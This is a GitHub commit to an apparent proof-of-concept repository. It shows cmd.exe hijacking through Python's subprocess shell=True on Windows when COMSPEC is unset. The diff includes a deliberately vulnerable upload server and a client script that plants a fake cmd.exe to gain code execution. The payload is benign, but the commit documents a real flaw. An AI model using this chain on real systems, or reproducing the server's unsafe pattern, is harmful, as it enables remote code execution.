Skip to content

Commit 9668b6f

Browse files
POC
1 parent 73e841c commit 9668b6f

File tree

4 files changed

+32
-6
lines changed

4 files changed

+32
-6
lines changed

POC.png

24.1 KB
Loading

README.md

+20-5
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,13 @@ the executable launched is `cmd.exe` and the full path is not defined.
77
It's possible to launch a malicious `cmd.exe` file from working directory
88
or any any path before the `C:\Windows\system32` directory in the `PATH`.
99

10+
I write a simple POC, a vulnerable HTTP server to upload files.
11+
1012
## Requirements
1113

12-
- Windows machine without `COMSPEC`
13-
- Use `subprocess.Popen` or any `subprocess` function that use `subprocess.Popen` with `shell=True`
14-
- Possible upload in working directory or any path before the `C:\Windows\system32` directory in the `PATH`
14+
- Windows machine without `COMSPEC` environment variable
15+
- Use `subprocess.Popen` or any `subprocess` functions that use `subprocess.Popen` with `shell=True`
16+
- The attacker may upload file in the working directory or any directory before the `C:\Windows\system32` directory in the `PATH`
1517

1618
## Patch
1719

@@ -27,13 +29,21 @@ int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
2729
# gcc -o not_cmd.exe RCE_program.c
2830
```
2931
32+
Compile with `gcc -o not_cmd.exe RCE_program.c` command.
33+
3034
### Python HTTP client
3135
3236
```python
3337
from urllib.request import Request, urlopen
38+
from time import strftime, localtime, sleep
3439
40+
print("[*]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Simple GET request to see the default behaviour...")
3541
get_response = urlopen("http://127.0.0.1:8000/")
36-
post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # upload a malicious cmd.exe file
42+
sleep(2)
43+
print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Start exploit with upload a malicious cmd.exe file...")
44+
post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # write a cmd.exe file
45+
sleep(2)
46+
print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "RCE with malicious cmd.exe file...")
3747
exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe
3848
```
3949

@@ -50,18 +60,22 @@ del environ['COMSPEC'] # force environment without COMSPEC
5060

5161
def app(environ, start_response):
5262
method = environ["REQUEST_METHOD"]
63+
print('[*] New request, method:', method)
5364
if method == "GET":
5465
process = Popen("myprogram", shell=True, stderr=DEVNULL)
5566
process.communicate()
67+
print('[+] Process exit code:', process.returncode)
5668
status = "200 OK"
5769
content = b"GET OK"
5870
elif method == "POST":
5971
status = "200 OK"
6072
content = b"File uploaded successfully."
6173
content_length = environ.get("CONTENT_LENGTH", "0")
6274
if content_length.isdigit():
63-
with open(basename(environ["PATH_INFO"]), 'wb') as file:
75+
filename = basename(environ["PATH_INFO"])
76+
with open(filename, 'wb') as file:
6477
file.write(environ["wsgi.input"].read(int(content_length)))
78+
print('[+] New file written:', filename)
6579
else:
6680
status = "400 Bad Request"
6781
content = b'Invalid Content-Length header.'
@@ -72,5 +86,6 @@ def app(environ, start_response):
7286
return (content,)
7387

7488
with make_server('127.0.0.1', 8000, app) as httpd:
89+
print('[*] Serving HTTP on 127.0.0.1 port 8000 (http://127.0.0.1:8000/) ...')
7590
httpd.serve_forever()
7691
```

client_exploit.py

+6
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
from urllib.request import Request, urlopen
2+
from time import strftime, localtime, sleep
23

4+
print("[*]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Simple GET request to see the default behaviour...")
35
get_response = urlopen("http://127.0.0.1:8000/")
6+
sleep(2)
7+
print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Start exploit with upload a malicious cmd.exe file...")
48
post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # write a cmd.exe file
9+
sleep(2)
10+
print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "RCE with malicious cmd.exe file...")
511
exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe

server.py

+6-1
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,22 @@
88

99
def app(environ, start_response):
1010
method = environ["REQUEST_METHOD"]
11+
print('[*] New request, method:', method)
1112
if method == "GET":
1213
process = Popen("myprogram", shell=True, stderr=DEVNULL)
1314
process.communicate()
15+
print('[+] Process exit code:', process.returncode)
1416
status = "200 OK"
1517
content = b"GET OK"
1618
elif method == "POST":
1719
status = "200 OK"
1820
content = b"File uploaded successfully."
1921
content_length = environ.get("CONTENT_LENGTH", "0")
2022
if content_length.isdigit():
21-
with open(basename(environ["PATH_INFO"]), 'wb') as file:
23+
filename = basename(environ["PATH_INFO"])
24+
with open(filename, 'wb') as file:
2225
file.write(environ["wsgi.input"].read(int(content_length)))
26+
print('[+] New file written:', filename)
2327
else:
2428
status = "400 Bad Request"
2529
content = b'Invalid Content-Length header.'
@@ -30,4 +34,5 @@ def app(environ, start_response):
3034
return (content,)
3135

3236
with make_server('127.0.0.1', 8000, app) as httpd:
37+
print('[*] Serving HTTP on 127.0.0.1 port 8000 (http://127.0.0.1:8000/) ...')
3338
httpd.serve_forever()

0 commit comments

Comments
 (0)